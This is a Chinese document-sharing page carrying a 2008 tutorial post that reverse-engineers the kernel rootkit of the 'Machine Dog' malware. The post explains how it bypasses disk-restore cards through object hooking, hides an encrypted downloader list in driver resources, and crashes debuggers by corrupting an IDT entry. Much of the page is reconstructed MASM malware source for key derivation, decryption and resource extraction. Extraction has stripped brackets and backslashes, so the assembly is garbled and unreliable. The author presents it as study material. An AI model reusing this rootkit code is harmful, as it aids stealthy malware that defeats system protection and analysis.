rootkit hook 之[一] object hook

上传人:第*** 文档编号:31319970 上传时间:2018-02-06 格式:DOCX 页数:17 大小:23.74KB
返回 下载 相关 举报
rootkit hook 之[一] object hook_第1页
第1页 / 共17页
rootkit hook 之[一] object hook_第2页
第2页 / 共17页
rootkit hook 之[一] object hook_第3页
第3页 / 共17页
rootkit hook 之[一] object hook_第4页
第4页 / 共17页
rootkit hook 之[一] object hook_第5页
第5页 / 共17页
点击查看更多>>
资源描述

《rootkit hook 之[一] object hook》由会员分享,可在线阅读,更多相关《rootkit hook 之[一] object hook(17页珍藏版)》请在金锄头文库上搜索。

1、标 题: 【原创】RootKit hook 之 一 object hook作 者: combojiang时 间: 2008-01-08,11:43:31链 接: http:/ 2008 年 1 月 8 号,一个非常响亮的日子,今天我们将开始 rootkit 实战之旅。第一篇是 object hook.这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面 rootkit 的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们 rootkit 的开篇来讲。希望大家不要将代码用于他途。对于这

2、个 rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。 。 。 。 。 。信息隐藏亮点之一: 将 rootkit 作为资源隐藏于用户模式程序之中亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。亮点之三:用一个固定的 KEY,通过某种运算,产生出 1024 个密钥组成的数组。然后用这个密钥组与用户代

3、码进行运算,最终生成一个 4 字节的解码 KEY。利用解码 KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后还要把痕迹擦得一干二净。亮点之四:修改 idt 0e 号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到反调试的功能。这些亮点仅仅是 rootkit 中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。突破还原卡原理:在这里他使用的就是 object hook 大法。1。IRP_MJ_CREATE 例程负责得

4、到磁盘设备对象,调用 IoGetDeviceObjectPointer 函数得到设备名“DeviceHarddisk0DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。2。IRP_MJ_CLOSE 中对恢复 DR0 上的附加,做到来无影去无踪。分析了这么多,我们来看逆向的代码:.386.model flat, stdcalloption casemap:noneinclude pcihdd.inc.dataaDevicePhysical db DevicePhysicalHardDisk0,0aDosdevicesPhys db DosDevicesPhy

5、sicalHardDisk0,0SourceString db DeviceHarddisk0DR0,0g_DeviceObject dd 0g_AttachedDevice dd 0DecodeKey dd 1024 dup (0)DecodeKEY dd 0P dd 0NumberOfBytes dd 0IDTData db 6 dup(0)Format db %08X,0.code;*; 产生一个解密密钥数组;*CreateDecodeKey procjmp short $+2 ;花指令mov ecx, 100hmov edx, 0CCECC9B1h ;KEYOutLoop:lea ea

6、x, ecx-1 push ecxmov ecx, 8InLoop:shr eax, 1 jnb ContinueLoopxor eax, edxContinueLoop:dec ecxjnz InLooppop ecxmov DecodeKeyecx*4, eax ;保存解密密钥数组dec ecxjnz OutLoopretnCreateDecodeKey endp;*; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密 KEY,该; 解密 KEY 将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户 .(看 start);*DecodeInputData proc

7、 nearjmp short $+2 ;花指令mov eax, 0FFFFFFFFhor ebx, ebx ;判断 IRP.AssociatedIrp.SystemBuffer 是否为空jz Quit:mov dl, ebxxor dl, almovzx edx, dlshr eax, 8xor eax, DecodeKeyedx*4inc ebxdec ecxjnz BQuit:not eaxretnDecodeInputData endp;*; 在第三级资源中取出资源信息,成功后,返回取出的资源长度;*SearchResourceByIDInThirdLayer proc PEHeader

8、:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dwordLOCAL RetValue:dword pushaxor eax, eaxmov RetValue, eaxmov esi, ChildResourcemov cx, esi+0Ch;以名称命名的入口数量add cx, esi+0Eh;以 ID 命名的入口数量movzx ecx, cxadd esi, 10h ;esi 指向后面的 IMAGE_RESOURCE_DIRECTORY_ENTRYcmp ecx, 0jbe Quit mov ebx, esi+4 ;offset

9、ToData 目录项指针and ebx, 7FFFFFFFhadd ebx, ResourceAddr ;ebx 指向 IMAGE_RESOURCE_DATA_ENTRY 结构mov eax, ebx ;取资源数据的 RVA ,对应于 IMAGE_RESOURCE_DATA_ENTRY 结构中的第一项add eax, PEHeadermov ecx, pOutValue ;pOutValue 指向资源数据的地址mov ecx, eaxmov ecx, ebx+4mov RetValue, ecx ;返回资源数据的长度Quit:popamov eax, RetValueretnSearchRes

10、ourceByIDInThirdLayer endp;*; 在第二级资源中查找 ID 为 ChildResID 的资源项;*SearchResourceByIDInSecondLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dwordLOCAL RetValue:dwordpushaxor eax, eaxmov RetValue, eaxmov esi, ChildResourcemov cx, esi+0Ch ;以名称命名的入口数量add cx, esi+

11、0Eh ;以 ID 命名的入口数量movzx ecx, cxadd esi, 10h ;esi 指向后面的 IMAGE_RESOURCE_DIRECTORY_ENTRYjmp StartSearchChildDirectoryEntryContinueSearchChildDirectoryEntry:push ecxmov ebx, esi+4 ;offsetToData 目录项指针test ebx, 80000000hjz JumpOver ; 如果最高 31 位为 0,则跳过, 继续读下一条目录项and ebx, 7FFFFFFFhadd ebx, ResourceAddr ;否则取下一

12、层地址mov edx, esi ;取目录项字符串指针或者 IDtest edx, 80000000h jnz JumpOver ;如果 31 位为 1 的话,esi 低位代表字符串指针cmp edx, ChildResIDjnz JumpOverpush pOutValuepush ebxpush ResourceAddrpush PEHeadercall SearchResourceByIDInThirdLayermov RetValue, eaxor eax, eaxjz JumpOverpop ecxjmp QuitJumpOver:add esi, 8pop ecxdec ecxSta

13、rtSearchChildDirectoryEntry:cmp ecx, 0ja ContinueSearchChildDirectoryEntryQuit:popamov eax, RetValueretnSearchResourceByIDInSecondLayer endp;*; 在第一级资源中搜索 ID 为 RESOURCEID 的资源;*SearchResourceByIDInFirstLayer proc PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dwordLOCAL retvalue:dword LOCAL ResourceAddr:dwordpushaxor eax, eaxmov retvalue, eaxmov edi, PEHeadermov edi, edi+3Ch add ed

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 建筑/环境 > 工程造价

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号